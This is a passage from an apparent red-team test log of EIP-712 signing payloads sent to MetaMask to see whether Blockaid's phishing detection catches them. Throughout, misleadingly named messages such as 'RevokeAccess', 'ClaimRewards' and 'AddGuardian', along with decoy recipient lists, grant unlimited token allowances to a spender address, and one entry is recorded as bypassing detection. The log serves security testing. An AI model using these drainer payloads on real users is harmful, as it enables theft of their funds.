validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T16:31:59.907Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T16:32:09.068Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN12-EIP3009-022", "timestamp": "2026-01-31T16:32:18.264Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x24f1121c25f13227435d4047587e14c1c63c7786b27672db5ce3057399bf51e4\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN12-EIP3009-054", "timestamp": "2026-01-31T16:32:24.816Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x9e83f7ee8351c2e618277a37e92dc1ea5b4dfeb0f4b7b8fbb41b7a15f7cdc4f0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T16:32:34.346Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T16:32:43.499Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T16:32:52.671Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T16:33:01.852Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T16:33:11.045Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T16:33:20.211Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T16:33:29.384Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T16:33:38.543Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T16:33:47.708Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T16:33:57.031Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T16:34:06.174Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T16:34:15.354Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T16:34:24.503Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T16:34:33.712Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T16:34:42.874Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 